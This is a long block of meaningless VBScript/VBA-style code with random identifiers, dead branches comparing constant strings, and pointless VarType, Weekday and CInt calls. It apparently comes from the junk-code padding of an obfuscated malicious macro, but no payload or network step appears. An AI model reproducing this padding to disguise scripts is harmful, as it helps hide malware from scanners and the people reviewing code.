FISYDeJEvojUmolOtUjZaaQAxulicIFOnKyTYPOJ(1) = CInt(CStr("#3302"))
VarType DELOoSoPYvuGIgOiUt
VarType FISYDeJEvojUmolOtUjZaaQAxulicIFOnKyTYPOJ
If LenB(FISYDeJEvojUmolOtUjZaaQAxulicIFOnKyTYPOJ(1)) > 10 Then
  FISYDeJEvojUmolOtUjZaaQAxulicIFOnKyTYPOJ(2) = Weekday(33029)
End If
FISYDeJEvojUmolOtUjZaaQAxulicIFOnKyTYPOJ(3) = VarType(FISYDeJEvojUmolOtUjZaaQAxulicIFOnKyTYPOJ)
VarType nuJYveHucEQoBYHEGuDYHehYQygiQcAGdiCIiraG
If LenB(nuJYveHucEQoBYHEGuDYHehYQygiQcAGdiCIiraG(1)) > 13 Then
  nuJYveHucEQoBYHEGuDYHehYQygiQcAGdiCIiraG(2) = Weekday(13195)
End If
Dim ZUmUXELmOCATQEXovEraxArEJoRUWYnahU(4)
If "hEveXICeKyK" <> CStr("hEveXICeKyK2335") Then
   ZUmUXELmOCATQEXovEraxArEJoRUWYnahU(0) = VarType(VarType(VarType("hEveXICeKyK")))
End If
ZUmUXELmOCATQEXovEraxArEJoRUWYnahU(1) = CInt(CStr("#2335"))
VarType hEveXICeKyK
VarType ZUmUXELmOCATQEXovEraxArEJoRUWYnahU
If LenB(ZUmUXELmOCATQEXovEraxArEJoRUWYnahU(1)) > 13 Then
  ZUmUXELmOCATQEXovEraxArEJoRUWYnahU(2) = Weekday(23356)
End If
ZUmUXELmOCATQEXovEraxArEJoRUWYnahU(3) = VarType(ZUmUXELmOCATQEXovEraxArEJoRUWYnahU)
Dim MeVAHBofEMirUtYNiXipYWOReZySYvOWA(4)
If "LAvyRUxyQUdOXiFUG" <> CStr("LAvyRUxyQUdOXiFUG2513") Then
   MeVAHBofEMirUtYNiXipYWOReZySYvOWA(0) = VarType(VarType(VarType("LAvyRUxyQUdOXiFUG")))
End If
MeVAHBofEMirUtYNiXipYWOReZySYvOWA(1) = CInt(CStr("#2513"))
VarType LAvyRUxyQUdOXiFUG
VarType MeVAHBofEMirUtYNiXipYWOReZySYvOWA
If LenB(MeVAHBofEMirUtYNiXipYWOReZySYvOWA(1)) > 11 Then
  MeVAHBofEMirUtYNiXipYWOReZySYvOWA(2) = Weekday(25138)
End If
MeVAHBofEMirUtYNiXipYWOReZySYvOWA(3) = VarType(MeVAHBofEMirUtYNiXipYWOReZySYvOWA)
nuJYveHucEQoBYHEGuDYHehYQygiQcAGdiCIiraG(3) = VarType(nuJYveHucEQoBYHEGuDYHehYQygiQcAGdiCIiraG)
Dim aSYhecUtahEbONoLmyauJyboKOPyteGenumEVIVAT(4)
If "lUJIFAWynAvUGeFNe" <> CStr("lUJIFAWynAvUGeFNe9007") Then
   aSYhecUtahEbONoLmyauJyboKOPyteGenumEVIVAT(0) = VarType(VarType(VarType("lUJIFAWynAvUGeFNe")))
End If
aSYhecUtahEbONoLmyauJyboKOPyteGenumEVIVAT(1) = CInt(CStr("#9007"))
VarType lUJIFAWynAvUGeFNe
VarType aSYhecUtahEbONoLmyauJyboKOPyteGenumEVIVAT
If LenB(aSYhecUtahEbONoLmyauJyboKOPyteGenumEVIVAT(1)) > 10 Then
  aSYhecUtahEbONoLmyauJyboKOPyteGenumEVIVAT(2) = Weekday(90072)
End If
aSYhecUtahEbONoLmyauJyboKOPyteGenumEVIVAT(3) = VarType(aSYhecUtahEbONoLmyauJyboKOPyteGenumEVIVAT)
Dim duROBepepUlUiuFaWuGOCOPimiVylaTyHuCYNonO(4)
Dim zYiaesizYWTZuJumoCYmeRObekyuXYr(4)
If "zAgisoRyKOSUr" <> CStr("zAgisoRyKOSUr6284") Then
   zYiaesizYWTZuJumoCYmeRObekyuXYr(0) = VarType(VarType(VarType("zAgisoRyKOSUr")))
End If
zYiaesizYWTZuJumoCYmeRObekyuXYr(1) = CInt(CStr("#6284"))
VarType zAgisoRyKOSUr
VarType zYiaesizYWTZuJumoCYmeRObekyuXYr
If LenB(zYiaesizYWTZuJumoCYmeRObekyuXYr(1)) > 11 Then
  zYiaesizYWTZuJumoCYmeRObekyuXYr(2) = Weekday(62848)
End If
zYiaesizYWTZuJumoCYmeRObekyuXYr(3) = VarType(zYiaesizYWTZuJumoCYmeRObekyuXYr)
If "GoqirYkTytOiaKAgyiy" <> CStr("GoqirYkTytOiaKAgyiy3980") Then
Dim HYPAMuNIQYFYlUizYwEgIDajAF(4)
If "zoMEcIjeCAZyp" <> CStr("zoMEcIjeCAZyp3124") Then
   HYPAMuNIQYFYlUizYwEgIDajAF(0) = VarType(VarType(VarType("zoMEcIjeCAZyp")))
End If
HYPAMuNIQYFYlUizYwEgIDajAF(1) = CInt(CStr("#3124"))
VarType zoMEcIjeCAZyp
VarType HYPAMuNIQYFYlUizYwEgIDajAF
If LenB(HYPAMuNIQYFYlUizYwEgIDajAF(1)) > 12 Then
  HYPAMuNIQYFYlUizYwEgIDajAF(2) = Weekday(31246)
End If
HYPAMuNIQYFYlUizYwEgIDajAF(3) = VarType(HYPAMuNIQYFYlUizYwEgIDajAF)
   duROBepepUlUiuFaWuGOCOPimiVylaTyHuCYNonO(0) = VarType(VarType(VarType("GoqirYkTytOiaKAgyiy")))
End If
Dim JElizyfiByRiBuZAXKadyHaMUKAnYqENYri(4)
If "FYwICajUhapeJudAhOXo" <> CStr("FYwICajUhapeJudAhOXo3983") Then
   JElizyfiByRiBuZAXKadyHaMUKAnYqENYri(0) = VarType(VarType(VarType("FYwICajUhapeJudAhOXo")))
End If
JElizyfiByRiBuZAXKadyHaMUKAnYqENYri(1) = CInt(CStr("#3983"))
VarType FYwICajUhapeJudAhOXo
VarType JElizyfiByRiBuZAXKadyHaMUKAnYqENYri
If LenB(JElizyfiByRiBuZAXKadyHaMUKAnYqENYri(1)) > 10 Then
  JElizyfiByRiBuZAXKadyHaMUKAnYqENYri(2) = Weekday(398310)
End If
JElizyfiByRiBuZAXKadyHaMUKAnYqENYri(3) = VarType(JElizyfiByRiBuZAXKadyHaMUKAnYqENYri)
Dim qICitUqeQLIJqyMIzEhZOFunO(4)
If "zaxilYYNEsOLAGySU" <> CStr("zaxilYYNEsOLAGySU2887") Then
   qICitUqeQLIJqyMIzEhZOFunO(0) = VarType(VarType(VarType("zaxilYYNEsOLAGySU")))
End If
qICitUqeQLIJqyMIzEhZOFunO(1) = CInt(CStr("#2887"))
VarType zaxilYYNEsOLAGySU
VarType qICitUqeQLIJqyMIzEhZOFunO
If LenB(qICitUqeQLIJqyMIzEhZOFunO(1)) > 10 Then
  qICitUqeQLIJqyMIzEhZOFunO(2) = Weekday(28875)
End If
qICitUqeQLIJqyMIzEhZOFunO(3) = VarType(qICitUqeQLIJqyMIzEhZOFunO)
duROBepepUlUiuFaWuGOCOPimiVylaTyHuCYNonO(1) = CInt(CStr("#3980"))
Dim bElycUPIcBEbUgeFoVyaIDunYREQypeQiJY(4)
If "XEBoNidunYleByUNaa" <> CStr("XEBoNidunYleByUNaa7999") Then
   bElycUPIcBEbUgeFoVyaIDunYREQypeQiJY(0) = VarType(VarType(VarType("XEBoNidunYleByUNaa")))
End If
bElycUPIcBEbUgeFoVyaIDunYREQypeQiJY(1) = CInt(CStr("#7999"))
VarType XEBoNidunYleByUNaa
VarType bElycUPIcBEbUgeFoVyaIDunYREQypeQiJY
If LenB(bElycUPIcBEbUgeFoVyaIDunYREQypeQiJY(1)) > 12 Then
  bElycUPIcBEbUgeFoVyaIDunYREQypeQiJY(2) = Weekday(79995)
End If
bElycUPIcBEbUgeFoVyaIDunYREQypeQiJY(3) = VarType(bElycUPIcBEbUgeFoVyaIDunYREQypeQiJY)
Dim QafeZulejalebAkiRECEpAqcesOiaHARiCaWYQUpuquzaRo(4)
If "yGSIcaIxaCyTAdyWUPO" <> CStr("yGSIcaIxaCyTAdyWUPO6607") Then
   QafeZulejalebAkiRECEpAqcesOiaHARiCaWYQUpuquzaRo(0) = VarType(VarType(VarType("yGSIcaIxaCyTAdyWUPO")))
End If
QafeZulejalebAkiRECEpAqcesOiaHARiCaWYQUpuquzaRo(1) = CInt(CStr("#6607"))
VarType yGSIcaIxaCyTAdyWUPO
VarType QafeZulejalebAkiRECEpAqcesOiaHARiCaWYQUpuquzaRo
If LenB(QafeZulejalebAkiRECEpAqcesOiaHARiCaWYQUpuquzaRo(1)) > 10 Then
  QafeZulejalebAkiRECEpAqcesOiaHARiCaWYQUpuquzaRo(2) = Weekday(66073)
End If
QafeZulejalebAkiRECEpAqcesOiaHARiCaWYQUpuquzaRo(3) = VarType(QafeZulejalebAkiRECEpAqcesOiaHARiCaWYQUpuquzaRo)
VarType GoqirYkTytOiaKAgyiy
VarType duROBepepUlUiuFaWuGOCOPimiVylaTyHuCYNonO
If LenB(duROBepepUlUiuFaWuGOCOPimiVylaTyHuCYNonO(1)) > 11 Then
  duROBepepUlUiuFaWuGOCOPimiVylaTyHuCYNonO(2) = Weekday(39805)
Dim GYfIWuKoWiWoviaAqupKUXuCIcInOTEGymu(4)
If "cywOZyvival" <> CStr("cywOZyvival2535") Then
   GYfIWuKoWiWoviaAqupKUXuCIcInOTEGymu(0) = VarType(VarType(VarType("cywOZyvival")))
End If
GYfIWuKoWiWoviaAqupKUXuCIcInOTEGymu(1) = CInt(CStr("#2535"))
VarType cywOZyvival
VarType GYfIWuKoWiWoviaAqupKUXuCIcInOTEGymu
If LenB(GYfIWuKoWiWoviaAqupKUXuCIcInOTEGymu(1)) > 13 Then
  GYfIWuKoWiWoviaAqupKUXuCIcInOTEGymu(2) = Weekday(25355)
End If
GYfIWuKoWiWoviaAqupKUXuCIcInOTEGymu(3) = VarType(GYfIWuKoWiWoviaAqupKUXuCIcInOTEGymu)
End If
Dim nUtAsUcOsykUVnOTifuqySeVJesIjA(4)
If "hyXyLoqyjiKYZoVAwizIayV" <> CStr("hyXyLoqyjiKYZoVAwizIayV4187") Then
   nUtAsUcOsykUVnOTifuqySeVJesIjA(0) = VarType(VarType(VarType("hyXyLoqyjiKYZoVAwizIayV")))
End If
nUtAsUcOsykUVnOTifuqySeVJesIjA(1) = CInt(CStr("#4187"))
VarType hyXyLoqyjiKYZoVAwizIayV
VarType nUtAsUcOsykUVnOTifuqySeVJesIjA
If LenB(nUtAsUcOsykUVnOTifuqySeVJesIjA(1)) > 13 Then
  nUtAsUcOsykUVnOTifuqySeVJesIjA(2) = Weekday(418710)
End If
nUtAsUcOsykUVnOTifuqySeVJesIjA(3) = VarType(nUtAsUcOsykUVnOTifuqySeVJesIjA)
duROBepepUlUiuFaWuGOCOPimiVylaTyHuCYNonO(3) = VarType(duROBepepUlUiuFaWuGOCOPimiVylaTyHuCYNonO)
Dim qUvAKYSOXoDoQeROucoVIMJugYMeniJONYsU(4)
If "XYXODBOKaXOPuIsIAV" <> CStr("XYXODBOKaXOPuIsIAV3293") Then
   qUvAKYSOXoDoQeROucoVIMJugYMeniJONYsU(0) = VarType(VarType(VarType("XYXODBOKaXOPuIsIAV")))
End If
qUvAKYSOXoDoQeROucoVIMJugYMeniJONYsU(1) = CInt(CStr("#3293"))
VarType XYXODBOKaXOPuIsIAV
VarType qUvAKYSOXoDoQeROucoVIMJugYMeniJONYsU
If LenB(qUvAKYSOXoDoQeROucoVIMJugYMeniJONYsU(1)) > 10 Then
  qUvAKYSOXoDoQeROucoVIMJugYMeniJONYsU(2) = Weekday(32934)
End If
qUvAKYSOXoDoQeROucoVIMJugYMeniJONYsU(3) = VarType(qUvAKYSOXoDoQeROucoVIMJugYMeniJONYsU)
Dim tIHUWaKifurofUReiegYsaPeXopiKusetEvaWa(4)
If "cymYnILIniXysUruDEHIbIQ" <> CStr("cymYnILIniXysUruDEHIbIQ8808") Then
   tIHUWaKifurofUReiegYsaPeXopiKusetEvaWa(0) = VarType(VarType(VarType("cymYnILIniXysUruDEHIbIQ")))
End If
tIHUWaKifurofUReiegYsaPeXopiKusetEvaWa(1) = CInt(CStr("#8808"))
VarType cymYnILIniXysUruDEHIbIQ
VarType tIHUWaKifurofUReiegYsaPeXopiKusetEvaWa
If LenB(tIHUWaKifurofUReiegYsaPeXopiKusetEvaWa(1)) > 13 Then
  tIHUWaKifurofUReiegYsaPeXopiKusetEvaWa(2) = Weekday(88086)
End If
tIHUWaKifurofUReiegYsaPeXopiKusetEvaWa(3) = VarType(tIHUWaKifurofUReiegYsaPeXopiKusetEvaWa)

Dim riSEpEGpoQegasobzaIMOpeDEWoFALiaNAaAj(4)
If "RUHoQYCyJozyqe" <> CStr("RUHoQYCyJozyqe8012") Then
   riSEpEGpoQegasobzaIMOpeDEWoFALiaNAaAj(0) = VarType(VarType(VarType("RUHoQYCyJozyqe")))
End If
riSEpEGpoQegasobzaIMOpeDEWoFALiaNAaAj(1) = CInt(CStr("#8012"))
VarType RUHoQYCyJozyqe
VarType riSEpEGpoQegasobzaIMOpeDEWoFALiaNAaAj
If LenB(riSEpEGpoQegasobzaIMOpeDEWoFALiaNAaAj(1)) > 12 Then
  riSEpEGpoQegasobzaIMOpeDEWoFALiaNAaAj(2) = Weekday(801210)
End If
riSEpEGpoQegasobzaIMOpeDEWoFALiaNAaAj(3) = VarType(riSEpEGpoQegasobzaIMOpeDEWoFALiaNAaAj)
Dim gUFofElipoRAeMozuZYJofiKByNiaow(4)
Dim JYrAKawIffVEcaTEcuaLEc(4)
If "txALegaZUq" <> CStr("txALegaZUq8942") Then
   JYrAKawIffVEcaTEcuaLEc(0) = VarType(VarType(VarType("txALegaZUq")))
End If
JYrAKawIffVEcaTEcuaLEc(1) = CInt(CStr("#8942"))
VarType txALegaZUq
VarType JYrAKawIffVEcaTEcuaLEc
If LenB(JYrAKawIffVEcaTEcuaLEc(1)) > 13 Then
  JYrAKawIffVEcaTEcuaLEc(2) = Weekday(89425)
End If
JYrAKawIffVEcaTEcuaLEc(3) = VarType(JYrAKawIffVEcaTEcuaLEc)
Dim sEQunaDAkuGkiHErogIGiMY(4)
If "fisuRonEpOQoQoVisUB" <> CStr("fisuRonEpOQoQoVisUB3288") Then
   sEQunaDAkuGkiHErogIGiMY(0) = VarType(VarType(VarType("fisuRonEpOQoQoVisUB")))
End If
sEQunaDAkuGkiHErogIGiMY(1) = CInt(CStr("#3288"))
VarType fisuRonEpOQoQoVisUB
VarType sEQunaDAkuGkiHErogIGiMY
If LenB(sEQunaDAkuGkiHErogIGiMY(1)) > 10 Then
  sEQunaDAkuGkiHErogIGiMY(2) = Weekday(328810)
End If
sEQunaDAkuGkiHErogIGiMY(3) = VarType(sEQunaDAkuGkiHErogIGiMY)
If "MUNIZoWaxuNYFAKixeqYtIr" <> CStr("MUNIZoWaxuNYFAKixeqYtIr152") Then
Dim mkuvYTowymyfYjYZerkemeVAHaKabamexUC(4)
If "fifoJEMYeJuQuRyra" <> CStr("fifoJEMYeJuQuRyra6959") Then
   mkuvYTowymyfYjYZerkemeVAHaKabamexUC(0) = VarType(VarType(VarType("fifoJEMYeJuQuRyra")))
End If
mkuvYTowymyfYjYZerkemeVAHaKabamexUC(1) = CInt(CStr("#6959"))
VarType fifoJEMYeJuQuRyra
VarType mkuvYTowymyfYjYZerkemeVAHaKabamexUC
If LenB(mkuvYTowymyfYjYZerkemeVAHaKabamexUC(1)) > 10 Then
  mkuvYTowymyfYjYZerkemeVAHaKabamexUC(2) = Weekday(69598)
End If
mkuvYTowymyfYjYZerkemeVAHaKabamexUC(3) = VarType(mkuvYTowymyfYjYZerkemeVAHaKabamexUC)
Dim koBodojowOWRaXusOqYWoMeGYhaRAceRo(4)
If "xyjaRURudOTgy" <> CStr("xyjaRURudOTgy3170") Then
   koBodojowOWRaXusOqYWoMeGYhaRAceRo(0) = VarType(VarType(VarType("xyjaRURudOTgy")))
End If
koBodojowOWRaXusOqYWoMeGYhaRAceRo(1) = CInt(CStr("#3170"))
VarType xyjaRURudOTgy
VarType koBodojowOWRaXusOqYWoMeGYhaRAceRo
If LenB(koBodojowOWRaXusOqYWoMeGYhaRAceRo(1)) > 11 Then
  koBodojowOWRaXusOqYWoMeGYhaRAceRo(2) = Weekday(31703)
End If
koBodojowOWRaXusOqYWoMeGYhaRAceRo(3) = VarType(koBodojowOWRaXusOqYWoMeGYhaRAceRo)
   gUFofElipoRAeMozuZYJofiKByNiaow(0) = VarType(VarType(VarType("MUNIZoWaxuNYFAKixeqYtIr")))
End If
Dim ietEROWovISubRUhIJXYQEQoXELizyFumeh(4)
If "dYqOTipAPaxUPerykACIbAva" <> CStr("dYqOTipAPaxUPerykACIbAva1245") Then
   ietEROWovISubRUhIJXYQEQoXELizyFumeh(0) = VarType(VarType(VarType("dYqOTipAPaxUPerykACIbAva")))
End If
ietEROWovISubRUhIJXYQEQoXELizyFumeh(1) = CInt(CStr("#1245"))
VarType dYqOTipAPaxUPerykACIbAva
VarType ietEROWovISubRUhIJXYQEQoXELizyFumeh
If LenB(ietEROWovISubRUhIJXYQEQoXELizyFumeh(1)) > 11 Then
  ietEROWovISubRUhIJXYQEQoXELizyFumeh(2) = Weekday(12454)
End If
ietEROWovISubRUhIJXYQEQoXELizyFumeh(3) = VarType(ietEROWovISubRUhIJXYQEQoXELizyFumeh)
gUFofElipoRAeMozuZYJofiKByNiaow(1) = CInt(CStr("#152"))
VarType MUNIZoWaxuNYFAKixeqYtIr
Dim FUMirIWofEHuwuSAMyKOsYdgUXMeiycogAcyRYqiVyC(4)
If "NafIqEKemOQOWUzYbUQoRES" <> CStr("NafIqEKemOQOWUzYbUQoRES650") Then
   FUMirIWofEHuwuSAMyKOsYdgUXMeiycogAcyRYqiVyC(0) = VarType(VarType(VarType("NafIqEKemOQOWUzYbUQoRES")))
End If
FUMirIWofEHuwuSAMyKOsYdgUXMeiycogAcyRYqiVyC(1) = CInt(CStr("#650"))
VarType NafIqEKemOQOWUzYbUQoRES
…